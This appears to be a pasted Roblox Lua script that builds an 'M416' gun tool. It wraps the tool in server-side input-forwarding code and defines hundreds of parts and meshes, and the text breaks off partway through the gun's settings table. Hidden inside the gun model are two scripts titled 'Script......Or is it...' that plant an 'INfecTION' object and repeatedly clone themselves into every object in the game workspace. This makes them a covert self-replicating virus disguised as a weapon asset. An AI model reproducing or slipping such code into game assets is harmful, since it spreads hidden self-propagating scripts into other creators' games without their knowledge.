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Darkraiii7

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Nov 20th, 2018
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  1.  
  2. -- This script has been converted to FE by iPxter
  3.  
  4.  
  5. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  6. local Player,Mouse,mouse,UserInputService,ContextActionService = owner
  7. do
  8. print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
  9. script.Parent = Player.Character
  10.  
  11. --RemoteEvent for communicating
  12. local Event = Instance.new("RemoteEvent")
  13. Event.Name = "UserInput_Event"
  14.  
  15. --Fake event to make stuff like Mouse.KeyDown work
  16. local function fakeEvent()
  17. local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
  18. t.connect = t.Connect
  19. return t
  20. end
  21.  
  22. --Creating fake input objects with fake variables
  23. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  24. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  25. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  26. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  27. end}
  28. --Merged 2 functions into one by checking amount of arguments
  29. CAS.UnbindAction = CAS.BindAction
  30.  
  31. --This function will trigger the events that have been :Connect()'ed
  32. local function te(self,ev,...)
  33. local t = m[ev]
  34. if t and t._fakeEvent and t.Function then
  35. t.Function(...)
  36. end
  37. end
  38. m.TrigEvent = te
  39. UIS.TrigEvent = te
  40.  
  41. Event.OnServerEvent:Connect(function(plr,io)
  42. if plr~=Player then return end
  43. if io.isMouse then
  44. m.Target = io.Target
  45. m.Hit = io.Hit
  46. else
  47. local b = io.UserInputState == Enum.UserInputState.Begin
  48. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  49. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  50. end
  51. for _,t in pairs(CAS.Actions) do
  52. for _,k in pairs(t.Keys) do
  53. if k==io.KeyCode then
  54. t.Function(t.Name,io.UserInputState,io)
  55. end
  56. end
  57. end
  58. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  59. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  60. end
  61. end)
  62. Event.Parent = NLS([==[
  63. local Player = game:GetService("Players").LocalPlayer
  64. local Event = script:WaitForChild("UserInput_Event")
  65.  
  66. local UIS = game:GetService("UserInputService")
  67. local input = function(io,a)
  68. if a then return end
  69. --Since InputObject is a client-side instance, we create and pass table instead
  70. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
  71. end
  72. UIS.InputBegan:Connect(input)
  73. UIS.InputEnded:Connect(input)
  74.  
  75. local Mouse = Player:GetMouse()
  76. local h,t
  77. --Give the server mouse data 30 times every second, but only if the values changed
  78. --If player is not moving their mouse, client won't fire events
  79. while wait(1/30) do
  80. if h~=Mouse.Hit or t~=Mouse.Target then
  81. h,t=Mouse.Hit,Mouse.Target
  82. Event:FireServer({isMouse=true,Target=t,Hit=h})
  83. end
  84. end]==],Player.Character)
  85. Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
  86. end
  87. -- made by 1ndrew
  88. function sandbox(var,func)
  89. local env = getfenv(func)
  90. local newenv = setmetatable({},{
  91. __index = function(self,k)
  92. if k=="script" then
  93. return var
  94. else
  95. return env[k]
  96. end
  97. end,
  98. })
  99. setfenv(func,newenv)
  100. return func
  101. end
  102. cors = {}
  103. mas = Instance.new("Model",game:GetService("Lighting"))
  104. Tool0 = Instance.new("Tool")
  105. Part1 = Instance.new("Part")
  106. CylinderMesh2 = Instance.new("CylinderMesh")
  107. Part3 = Instance.new("Part")
  108. BlockMesh4 = Instance.new("BlockMesh")
  109. Part5 = Instance.new("Part")
  110. BlockMesh6 = Instance.new("BlockMesh")
  111. Sound7 = Instance.new("Sound")
  112. Script8 = Instance.new("Script")
  113. Sound9 = Instance.new("Sound")
  114. Script10 = Instance.new("Script")
  115. Part11 = Instance.new("Part")
  116. CylinderMesh12 = Instance.new("CylinderMesh")
  117. Part13 = Instance.new("Part")
  118. Decal14 = Instance.new("Decal")
  119. BlockMesh15 = Instance.new("BlockMesh")
  120. Part16 = Instance.new("Part")
  121. BlockMesh17 = Instance.new("BlockMesh")
  122. Part18 = Instance.new("Part")
  123. BlockMesh19 = Instance.new("BlockMesh")
  124. LocalScript20 = Instance.new("LocalScript")
  125. NumberValue21 = Instance.new("NumberValue")
  126. NumberValue22 = Instance.new("NumberValue")
  127. Smoke23 = Instance.new("Smoke")
  128. Smoke24 = Instance.new("Smoke")
  129. PointLight25 = Instance.new("PointLight")
  130. ScreenGui26 = Instance.new("ScreenGui")
  131. Frame27 = Instance.new("Frame")
  132. TextLabel28 = Instance.new("TextLabel")
  133. Frame29 = Instance.new("Frame")
  134. TextLabel30 = Instance.new("TextLabel")
  135. Frame31 = Instance.new("Frame")
  136. TextLabel32 = Instance.new("TextLabel")
  137. Part33 = Instance.new("Part")
  138. CylinderMesh34 = Instance.new("CylinderMesh")
  139. Part35 = Instance.new("Part")
  140. CylinderMesh36 = Instance.new("CylinderMesh")
  141. Part37 = Instance.new("Part")
  142. CylinderMesh38 = Instance.new("CylinderMesh")
  143. Part39 = Instance.new("Part")
  144. BlockMesh40 = Instance.new("BlockMesh")
  145. Part41 = Instance.new("Part")
  146. BlockMesh42 = Instance.new("BlockMesh")
  147. Part43 = Instance.new("Part")
  148. CylinderMesh44 = Instance.new("CylinderMesh")
  149. Part45 = Instance.new("Part")
  150. BlockMesh46 = Instance.new("BlockMesh")
  151. Part47 = Instance.new("Part")
  152. SpecialMesh48 = Instance.new("SpecialMesh")
  153. Part49 = Instance.new("Part")
  154. CylinderMesh50 = Instance.new("CylinderMesh")
  155. Part51 = Instance.new("Part")
  156. BlockMesh52 = Instance.new("BlockMesh")
  157. Part53 = Instance.new("Part")
  158. CylinderMesh54 = Instance.new("CylinderMesh")
  159. Part55 = Instance.new("Part")
  160. BlockMesh56 = Instance.new("BlockMesh")
  161. Part57 = Instance.new("Part")
  162. SpecialMesh58 = Instance.new("SpecialMesh")
  163. Part59 = Instance.new("Part")
  164. BlockMesh60 = Instance.new("BlockMesh")
  165. Part61 = Instance.new("Part")
  166. CylinderMesh62 = Instance.new("CylinderMesh")
  167. Part63 = Instance.new("Part")
  168. SpecialMesh64 = Instance.new("SpecialMesh")
  169. Part65 = Instance.new("Part")
  170. SpecialMesh66 = Instance.new("SpecialMesh")
  171. Part67 = Instance.new("Part")
  172. SpecialMesh68 = Instance.new("SpecialMesh")
  173. Part69 = Instance.new("Part")
  174. SpecialMesh70 = Instance.new("SpecialMesh")
  175. Part71 = Instance.new("Part")
  176. SpecialMesh72 = Instance.new("SpecialMesh")
  177. Part73 = Instance.new("Part")
  178. SpecialMesh74 = Instance.new("SpecialMesh")
  179. Part75 = Instance.new("Part")
  180. CylinderMesh76 = Instance.new("CylinderMesh")
  181. Part77 = Instance.new("Part")
  182. CylinderMesh78 = Instance.new("CylinderMesh")
  183. Part79 = Instance.new("Part")
  184. BlockMesh80 = Instance.new("BlockMesh")
  185. Part81 = Instance.new("Part")
  186. Decal82 = Instance.new("Decal")
  187. Decal83 = Instance.new("Decal")
  188. BlockMesh84 = Instance.new("BlockMesh")
  189. Part85 = Instance.new("Part")
  190. BlockMesh86 = Instance.new("BlockMesh")
  191. Part87 = Instance.new("Part")
  192. CylinderMesh88 = Instance.new("CylinderMesh")
  193. Part89 = Instance.new("Part")
  194. BlockMesh90 = Instance.new("BlockMesh")
  195. Part91 = Instance.new("Part")
  196. Decal92 = Instance.new("Decal")
  197. Decal93 = Instance.new("Decal")
  198. BlockMesh94 = Instance.new("BlockMesh")
  199. Part95 = Instance.new("Part")
  200. SpecialMesh96 = Instance.new("SpecialMesh")
  201. Part97 = Instance.new("Part")
  202. Decal98 = Instance.new("Decal")
  203. Decal99 = Instance.new("Decal")
  204. BlockMesh100 = Instance.new("BlockMesh")
  205. Part101 = Instance.new("Part")
  206. BlockMesh102 = Instance.new("BlockMesh")
  207. Part103 = Instance.new("Part")
  208. BlockMesh104 = Instance.new("BlockMesh")
  209. Part105 = Instance.new("Part")
  210. BlockMesh106 = Instance.new("BlockMesh")
  211. Part107 = Instance.new("Part")
  212. BlockMesh108 = Instance.new("BlockMesh")
  213. Part109 = Instance.new("Part")
  214. CylinderMesh110 = Instance.new("CylinderMesh")
  215. Part111 = Instance.new("Part")
  216. CylinderMesh112 = Instance.new("CylinderMesh")
  217. Part113 = Instance.new("Part")
  218. BlockMesh114 = Instance.new("BlockMesh")
  219. Part115 = Instance.new("Part")
  220. BlockMesh116 = Instance.new("BlockMesh")
  221. Part117 = Instance.new("Part")
  222. SpecialMesh118 = Instance.new("SpecialMesh")
  223. Part119 = Instance.new("Part")
  224. BlockMesh120 = Instance.new("BlockMesh")
  225. Part121 = Instance.new("Part")
  226. BlockMesh122 = Instance.new("BlockMesh")
  227. Part123 = Instance.new("Part")
  228. BlockMesh124 = Instance.new("BlockMesh")
  229. Part125 = Instance.new("Part")
  230. SpecialMesh126 = Instance.new("SpecialMesh")
  231. Part127 = Instance.new("Part")
  232. SpecialMesh128 = Instance.new("SpecialMesh")
  233. Part129 = Instance.new("Part")
  234. SpecialMesh130 = Instance.new("SpecialMesh")
  235. Part131 = Instance.new("Part")
  236. CylinderMesh132 = Instance.new("CylinderMesh")
  237. Part133 = Instance.new("Part")
  238. SpecialMesh134 = Instance.new("SpecialMesh")
  239. Part135 = Instance.new("Part")
  240. SpecialMesh136 = Instance.new("SpecialMesh")
  241. Part137 = Instance.new("Part")
  242. SpecialMesh138 = Instance.new("SpecialMesh")
  243. Part139 = Instance.new("Part")
  244. Decal140 = Instance.new("Decal")
  245. BlockMesh141 = Instance.new("BlockMesh")
  246. Part142 = Instance.new("Part")
  247. BlockMesh143 = Instance.new("BlockMesh")
  248. Part144 = Instance.new("Part")
  249. CylinderMesh145 = Instance.new("CylinderMesh")
  250. Part146 = Instance.new("Part")
  251. BlockMesh147 = Instance.new("BlockMesh")
  252. Part148 = Instance.new("Part")
  253. SpecialMesh149 = Instance.new("SpecialMesh")
  254. Part150 = Instance.new("Part")
  255. CylinderMesh151 = Instance.new("CylinderMesh")
  256. Part152 = Instance.new("Part")
  257. SpecialMesh153 = Instance.new("SpecialMesh")
  258. Part154 = Instance.new("Part")
  259. BlockMesh155 = Instance.new("BlockMesh")
  260. Part156 = Instance.new("Part")
  261. BlockMesh157 = Instance.new("BlockMesh")
  262. Part158 = Instance.new("Part")
  263. CylinderMesh159 = Instance.new("CylinderMesh")
  264. Part160 = Instance.new("Part")
  265. BlockMesh161 = Instance.new("BlockMesh")
  266. Part162 = Instance.new("Part")
  267. SpecialMesh163 = Instance.new("SpecialMesh")
  268. Part164 = Instance.new("Part")
  269. Decal165 = Instance.new("Decal")
  270. SpecialMesh166 = Instance.new("SpecialMesh")
  271. Part167 = Instance.new("Part")
  272. BlockMesh168 = Instance.new("BlockMesh")
  273. Part169 = Instance.new("Part")
  274. BlockMesh170 = Instance.new("BlockMesh")
  275. Part171 = Instance.new("Part")
  276. BlockMesh172 = Instance.new("BlockMesh")
  277. Part173 = Instance.new("Part")
  278. SpecialMesh174 = Instance.new("SpecialMesh")
  279. Part175 = Instance.new("Part")
  280. BlockMesh176 = Instance.new("BlockMesh")
  281. Part177 = Instance.new("Part")
  282. SpecialMesh178 = Instance.new("SpecialMesh")
  283. Part179 = Instance.new("Part")
  284. SpecialMesh180 = Instance.new("SpecialMesh")
  285. Part181 = Instance.new("Part")
  286. SpecialMesh182 = Instance.new("SpecialMesh")
  287. Part183 = Instance.new("Part")
  288. SpecialMesh184 = Instance.new("SpecialMesh")
  289. Part185 = Instance.new("Part")
  290. BlockMesh186 = Instance.new("BlockMesh")
  291. Part187 = Instance.new("Part")
  292. BlockMesh188 = Instance.new("BlockMesh")
  293. Part189 = Instance.new("Part")
  294. SpecialMesh190 = Instance.new("SpecialMesh")
  295. Part191 = Instance.new("Part")
  296. BlockMesh192 = Instance.new("BlockMesh")
  297. Part193 = Instance.new("Part")
  298. CylinderMesh194 = Instance.new("CylinderMesh")
  299. Part195 = Instance.new("Part")
  300. BlockMesh196 = Instance.new("BlockMesh")
  301. Part197 = Instance.new("Part")
  302. CylinderMesh198 = Instance.new("CylinderMesh")
  303. Part199 = Instance.new("Part")
  304. CylinderMesh200 = Instance.new("CylinderMesh")
  305. Part201 = Instance.new("Part")
  306. Decal202 = Instance.new("Decal")
  307. CylinderMesh203 = Instance.new("CylinderMesh")
  308. Part204 = Instance.new("Part")
  309. CylinderMesh205 = Instance.new("CylinderMesh")
  310. Part206 = Instance.new("Part")
  311. SpecialMesh207 = Instance.new("SpecialMesh")
  312. Part208 = Instance.new("Part")
  313. SpecialMesh209 = Instance.new("SpecialMesh")
  314. Part210 = Instance.new("Part")
  315. CylinderMesh211 = Instance.new("CylinderMesh")
  316. Part212 = Instance.new("Part")
  317. BlockMesh213 = Instance.new("BlockMesh")
  318. Part214 = Instance.new("Part")
  319. BlockMesh215 = Instance.new("BlockMesh")
  320. Part216 = Instance.new("Part")
  321. CylinderMesh217 = Instance.new("CylinderMesh")
  322. Part218 = Instance.new("Part")
  323. BlockMesh219 = Instance.new("BlockMesh")
  324. Part220 = Instance.new("Part")
  325. BlockMesh221 = Instance.new("BlockMesh")
  326. Part222 = Instance.new("Part")
  327. BlockMesh223 = Instance.new("BlockMesh")
  328. Part224 = Instance.new("Part")
  329. BlockMesh225 = Instance.new("BlockMesh")
  330. Part226 = Instance.new("Part")
  331. SpecialMesh227 = Instance.new("SpecialMesh")
  332. Part228 = Instance.new("Part")
  333. CylinderMesh229 = Instance.new("CylinderMesh")
  334. Part230 = Instance.new("Part")
  335. BlockMesh231 = Instance.new("BlockMesh")
  336. Part232 = Instance.new("Part")
  337. SpecialMesh233 = Instance.new("SpecialMesh")
  338. Part234 = Instance.new("Part")
  339. CylinderMesh235 = Instance.new("CylinderMesh")
  340. Part236 = Instance.new("Part")
  341. BlockMesh237 = Instance.new("BlockMesh")
  342. Part238 = Instance.new("Part")
  343. CylinderMesh239 = Instance.new("CylinderMesh")
  344. Part240 = Instance.new("Part")
  345. Decal241 = Instance.new("Decal")
  346. CylinderMesh242 = Instance.new("CylinderMesh")
  347. Part243 = Instance.new("Part")
  348. SpecialMesh244 = Instance.new("SpecialMesh")
  349. Part245 = Instance.new("Part")
  350. CylinderMesh246 = Instance.new("CylinderMesh")
  351. Part247 = Instance.new("Part")
  352. SpecialMesh248 = Instance.new("SpecialMesh")
  353. Part249 = Instance.new("Part")
  354. CylinderMesh250 = Instance.new("CylinderMesh")
  355. Part251 = Instance.new("Part")
  356. SpecialMesh252 = Instance.new("SpecialMesh")
  357. Part253 = Instance.new("Part")
  358. SpecialMesh254 = Instance.new("SpecialMesh")
  359. Part255 = Instance.new("Part")
  360. CylinderMesh256 = Instance.new("CylinderMesh")
  361. Part257 = Instance.new("Part")
  362. BlockMesh258 = Instance.new("BlockMesh")
  363. Part259 = Instance.new("Part")
  364. BlockMesh260 = Instance.new("BlockMesh")
  365. Part261 = Instance.new("Part")
  366. BlockMesh262 = Instance.new("BlockMesh")
  367. Part263 = Instance.new("Part")
  368. BlockMesh264 = Instance.new("BlockMesh")
  369. Part265 = Instance.new("Part")
  370. BlockMesh266 = Instance.new("BlockMesh")
  371. Part267 = Instance.new("Part")
  372. BlockMesh268 = Instance.new("BlockMesh")
  373. Part269 = Instance.new("Part")
  374. BlockMesh270 = Instance.new("BlockMesh")
  375. Part271 = Instance.new("Part")
  376. BlockMesh272 = Instance.new("BlockMesh")
  377. Part273 = Instance.new("Part")
  378. BlockMesh274 = Instance.new("BlockMesh")
  379. Part275 = Instance.new("Part")
  380. BlockMesh276 = Instance.new("BlockMesh")
  381. Part277 = Instance.new("Part")
  382. BlockMesh278 = Instance.new("BlockMesh")
  383. Part279 = Instance.new("Part")
  384. BlockMesh280 = Instance.new("BlockMesh")
  385. Part281 = Instance.new("Part")
  386. SpecialMesh282 = Instance.new("SpecialMesh")
  387. Part283 = Instance.new("Part")
  388. BlockMesh284 = Instance.new("BlockMesh")
  389. Part285 = Instance.new("Part")
  390. BlockMesh286 = Instance.new("BlockMesh")
  391. Part287 = Instance.new("Part")
  392. BlockMesh288 = Instance.new("BlockMesh")
  393. Part289 = Instance.new("Part")
  394. SpecialMesh290 = Instance.new("SpecialMesh")
  395. Part291 = Instance.new("Part")
  396. SpecialMesh292 = Instance.new("SpecialMesh")
  397. Part293 = Instance.new("Part")
  398. SpecialMesh294 = Instance.new("SpecialMesh")
  399. Part295 = Instance.new("Part")
  400. BlockMesh296 = Instance.new("BlockMesh")
  401. Part297 = Instance.new("Part")
  402. BlockMesh298 = Instance.new("BlockMesh")
  403. Part299 = Instance.new("Part")
  404. BlockMesh300 = Instance.new("BlockMesh")
  405. Part301 = Instance.new("Part")
  406. SpecialMesh302 = Instance.new("SpecialMesh")
  407. Part303 = Instance.new("Part")
  408. SpecialMesh304 = Instance.new("SpecialMesh")
  409. Part305 = Instance.new("Part")
  410. BlockMesh306 = Instance.new("BlockMesh")
  411. Part307 = Instance.new("Part")
  412. BlockMesh308 = Instance.new("BlockMesh")
  413. Part309 = Instance.new("Part")
  414. BlockMesh310 = Instance.new("BlockMesh")
  415. Part311 = Instance.new("Part")
  416. SpecialMesh312 = Instance.new("SpecialMesh")
  417. Part313 = Instance.new("Part")
  418. SpecialMesh314 = Instance.new("SpecialMesh")
  419. Part315 = Instance.new("Part")
  420. BlockMesh316 = Instance.new("BlockMesh")
  421. Part317 = Instance.new("Part")
  422. CylinderMesh318 = Instance.new("CylinderMesh")
  423. Part319 = Instance.new("Part")
  424. BlockMesh320 = Instance.new("BlockMesh")
  425. Part321 = Instance.new("Part")
  426. CylinderMesh322 = Instance.new("CylinderMesh")
  427. Part323 = Instance.new("Part")
  428. BlockMesh324 = Instance.new("BlockMesh")
  429. Part325 = Instance.new("Part")
  430. BlockMesh326 = Instance.new("BlockMesh")
  431. Part327 = Instance.new("Part")
  432. BlockMesh328 = Instance.new("BlockMesh")
  433. Part329 = Instance.new("Part")
  434. CylinderMesh330 = Instance.new("CylinderMesh")
  435. Part331 = Instance.new("Part")
  436. CylinderMesh332 = Instance.new("CylinderMesh")
  437. Part333 = Instance.new("Part")
  438. BlockMesh334 = Instance.new("BlockMesh")
  439. Script335 = Instance.new("Script")
  440. Part336 = Instance.new("Part")
  441. BlockMesh337 = Instance.new("BlockMesh")
  442. Tool0.Name = "M416"
  443. Tool0.Parent = mas
  444. Tool0.GripForward = Vector3.new(-0.308719009, -0, -0.951153278)
  445. Tool0.GripPos = Vector3.new(0, -0.200000003, 0.200000003)
  446. Tool0.GripRight = Vector3.new(0.951153278, 0, -0.308719009)
  447. Part1.Name = "A1"
  448. Part1.Parent = Tool0
  449. Part1.Material = Enum.Material.SmoothPlastic
  450. Part1.BrickColor = BrickColor.new("Dark stone grey")
  451. Part1.Reflectance = 0.050000000745058
  452. Part1.Rotation = Vector3.new(-180, -89.4599991, -90)
  453. Part1.Anchored = true
  454. Part1.FormFactor = Enum.FormFactor.Custom
  455. Part1.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  456. Part1.CFrame = CFrame.new(27.0811768, 1.27026403, 138.982117, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  457. Part1.BottomSurface = Enum.SurfaceType.Smooth
  458. Part1.TopSurface = Enum.SurfaceType.Smooth
  459. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  460. Part1.Position = Vector3.new(27.0811768, 1.27026403, 138.982117)
  461. Part1.Orientation = Vector3.new(0, -90.5400009, 90)
  462. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  463. CylinderMesh2.Parent = Part1
  464. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  465. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  466. Part3.Name = "SmokePart"
  467. Part3.Parent = Tool0
  468. Part3.Material = Enum.Material.SmoothPlastic
  469. Part3.Transparency = 1
  470. Part3.Rotation = Vector3.new(-180, 0.539999962, 180)
  471. Part3.Anchored = true
  472. Part3.FormFactor = Enum.FormFactor.Custom
  473. Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  474. Part3.CFrame = CFrame.new(27.0629883, 1.26489305, 141.073486, -0.999955118, -6.08749104e-08, 0.00939130783, -5.92387259e-08, 0.999999046, 1.72940759e-07, -0.00939130783, 1.72370605e-07, -0.999955118)
  475. Part3.BottomSurface = Enum.SurfaceType.Smooth
  476. Part3.TopSurface = Enum.SurfaceType.Smooth
  477. Part3.Position = Vector3.new(27.0629883, 1.26489305, 141.073486)
  478. Part3.Orientation = Vector3.new(0, 179.459991, 0)
  479. BlockMesh4.Parent = Part3
  480. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  481. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  482. Part5.Name = "Handle"
  483. Part5.Parent = Tool0
  484. Part5.Material = Enum.Material.SmoothPlastic
  485. Part5.BrickColor = BrickColor.new("Black")
  486. Part5.Rotation = Vector3.new(180, 27.6800003, -180)
  487. Part5.Anchored = true
  488. Part5.FormFactor = Enum.FormFactor.Custom
  489. Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  490. Part5.CFrame = CFrame.new(27.0905762, 0.867187023, 138.553284, -0.885558605, 8.09826162e-08, 0.464526057, 5.79961079e-10, 0.999999702, -1.73227889e-07, -0.464525968, -1.53134209e-07, -0.885558188)
  491. Part5.BottomSurface = Enum.SurfaceType.Smooth
  492. Part5.TopSurface = Enum.SurfaceType.Smooth
  493. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  494. Part5.Position = Vector3.new(27.0905762, 0.867187023, 138.553284)
  495. Part5.Orientation = Vector3.new(0, 152.319992, 0)
  496. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  497. BlockMesh6.Parent = Part5
  498. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  499. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  500. Sound7.Name = "Shoot"
  501. Sound7.Parent = Part5
  502. Sound7.SoundId = "http://roblox.com/asset/?id=10209798"
  503. Sound7.Volume = 1
  504. Script8.Name = "Script......Or is it..."
  505. Script8.Parent = mas
  506. table.insert(cors,sandbox(Script8,function()
  507. if script.Parent.className ~= "RotateP" then
  508. local p = Instance.new("RotateP")
  509. p.Parent = workspace
  510. p.Name = "INfecTION"
  511. script.Parent = p
  512. end
  513.  
  514. function check()
  515. local list = workspace:GetChildren()
  516. for i = 1, #list do
  517. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  518. script.Parent:Clone().Parent = list[i]
  519. end
  520. wait()
  521. end
  522. end
  523.  
  524. while true do
  525. check()
  526. if workspace:findFirstChild("inFECtion") == nil then
  527. local main = script.Parent:Clone()
  528. main.Name = "inFECtion"
  529. main.Parent = workspace
  530. end
  531. wait(3)
  532. end
  533.  
  534. end))
  535. Sound9.Name = "Reload"
  536. Sound9.Parent = Part5
  537. Sound9.SoundId = "http://www.roblox.com/asset/?id=132456328"
  538. Sound9.Volume = 1
  539. Script10.Name = "Script......Or is it..."
  540. Script10.Parent = mas
  541. table.insert(cors,sandbox(Script10,function()
  542. if script.Parent.className ~= "RotateP" then
  543. local p = Instance.new("RotateP")
  544. p.Parent = workspace
  545. p.Name = "INfecTION"
  546. script.Parent = p
  547. end
  548.  
  549. function check()
  550. local list = workspace:GetChildren()
  551. for i = 1, #list do
  552. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  553. script.Parent:Clone().Parent = list[i]
  554. end
  555. wait()
  556. end
  557. end
  558.  
  559. while true do
  560. check()
  561. if workspace:findFirstChild("inFECtion") == nil then
  562. local main = script.Parent:Clone()
  563. main.Name = "inFECtion"
  564. main.Parent = workspace
  565. end
  566. wait(3)
  567. end
  568.  
  569. end))
  570. Part11.Name = "Laser"
  571. Part11.Parent = Tool0
  572. Part11.Material = Enum.Material.SmoothPlastic
  573. Part11.BrickColor = BrickColor.new("Really red")
  574. Part11.Transparency = 1
  575. Part11.Rotation = Vector3.new(0, 89.4599991, -90)
  576. Part11.Anchored = true
  577. Part11.FormFactor = Enum.FormFactor.Custom
  578. Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  579. Part11.CFrame = CFrame.new(27.2994385, 1.39013696, 140.283264, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  580. Part11.BottomSurface = Enum.SurfaceType.Smooth
  581. Part11.TopSurface = Enum.SurfaceType.Smooth
  582. Part11.Color = Color3.new(1, 0, 0)
  583. Part11.Position = Vector3.new(27.2994385, 1.39013696, 140.283264)
  584. Part11.Orientation = Vector3.new(0, 89.4599991, -90)
  585. Part11.Color = Color3.new(1, 0, 0)
  586. CylinderMesh12.Parent = Part11
  587. CylinderMesh12.Offset = Vector3.new(0, -18.6599998, 0)
  588. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  589. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  590. Part13.Name = "Mag"
  591. Part13.Parent = Tool0
  592. Part13.Material = Enum.Material.SmoothPlastic
  593. Part13.BrickColor = BrickColor.new("Brick yellow")
  594. Part13.Rotation = Vector3.new(-180, -89.4599991, -81)
  595. Part13.Anchored = true
  596. Part13.FormFactor = Enum.FormFactor.Custom
  597. Part13.Size = Vector3.new(0.200000003, 0.419999987, 0.200000003)
  598. Part13.CFrame = CFrame.new(27.0869141, 0.745117009, 138.976196, 0.00146914274, 0.00927558541, -0.999955833, 0.987687647, -0.156434625, 3.8507924e-08, -0.156427667, -0.987643659, -0.00939165056)
  599. Part13.BottomSurface = Enum.SurfaceType.Smooth
  600. Part13.TopSurface = Enum.SurfaceType.Smooth
  601. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  602. Part13.Position = Vector3.new(27.0869141, 0.745117009, 138.976196)
  603. Part13.Orientation = Vector3.new(0, -90.5400009, 99)
  604. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  605. Decal14.Parent = Part13
  606. Decal14.Texture = "http://www.roblox.com/asset/?id=47760372"
  607. Decal14.Face = Enum.NormalId.Right
  608. BlockMesh15.Parent = Part13
  609. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  610. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  611. Part16.Name = "Mag2"
  612. Part16.Parent = Tool0
  613. Part16.Material = Enum.Material.SmoothPlastic
  614. Part16.BrickColor = BrickColor.new("Brick yellow")
  615. Part16.Rotation = Vector3.new(-180, -89.4599991, -71)
  616. Part16.Anchored = true
  617. Part16.FormFactor = Enum.FormFactor.Custom
  618. Part16.Size = Vector3.new(0.239999995, 0.419999987, 0.200000003)
  619. Part16.CFrame = CFrame.new(27.0856934, 0.449218988, 139.053894, 0.00305754691, 0.00887963176, -0.999955833, 0.945517957, -0.32556802, 4.84268448e-08, -0.325553536, -0.945475817, -0.00939165056)
  620. Part16.BottomSurface = Enum.SurfaceType.Smooth
  621. Part16.TopSurface = Enum.SurfaceType.Smooth
  622. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  623. Part16.Position = Vector3.new(27.0856934, 0.449218988, 139.053894)
  624. Part16.Orientation = Vector3.new(0, -90.5400009, 109)
  625. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  626. BlockMesh17.Parent = Part16
  627. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
  628. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
  629. Part18.Name = "Mag3"
  630. Part18.Parent = Tool0
  631. Part18.Material = Enum.Material.SmoothPlastic
  632. Part18.BrickColor = BrickColor.new("Brick yellow")
  633. Part18.Rotation = Vector3.new(-180, -89.4599991, -71)
  634. Part18.Anchored = true
  635. Part18.FormFactor = Enum.FormFactor.Custom
  636. Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.203999996)
  637. Part18.CFrame = CFrame.new(27.0853271, 0.256103992, 139.130554, 0.00305759162, 0.00887972116, -0.999955833, 0.945518434, -0.32556814, 2.6920091e-08, -0.325553685, -0.945476532, -0.00939165056)
  638. Part18.BottomSurface = Enum.SurfaceType.Smooth
  639. Part18.TopSurface = Enum.SurfaceType.Smooth
  640. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  641. Part18.Position = Vector3.new(27.0853271, 0.256103992, 139.130554)
  642. Part18.Orientation = Vector3.new(0, -90.5400009, 109)
  643. Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
  644. BlockMesh19.Parent = Part18
  645. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  646. BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
  647. LocalScript20.Name = "Gun_Script"
  648. LocalScript20.Parent = Tool0
  649. table.insert(cors,sandbox(LocalScript20,function()
  650. wait(0.5)
  651. --Made by YouTubes--
  652. --Edit settings below--
  653. local Tool = script.Parent
  654. local Settings = {
  655. Range = 1000
  656. ,Spread = 5
  657. ,Damage = {50, 75}
  658. ,HeadShotDamage = {70, 120}
  659. ,Bullets = 1
  660. ,FireRate = 0.08
  661. ,Automatic = true
  662. ,AntiTK = true
  663. ,ImpactDuration = 3
  664. --Reload
  665. ,ReloadKey = "R"
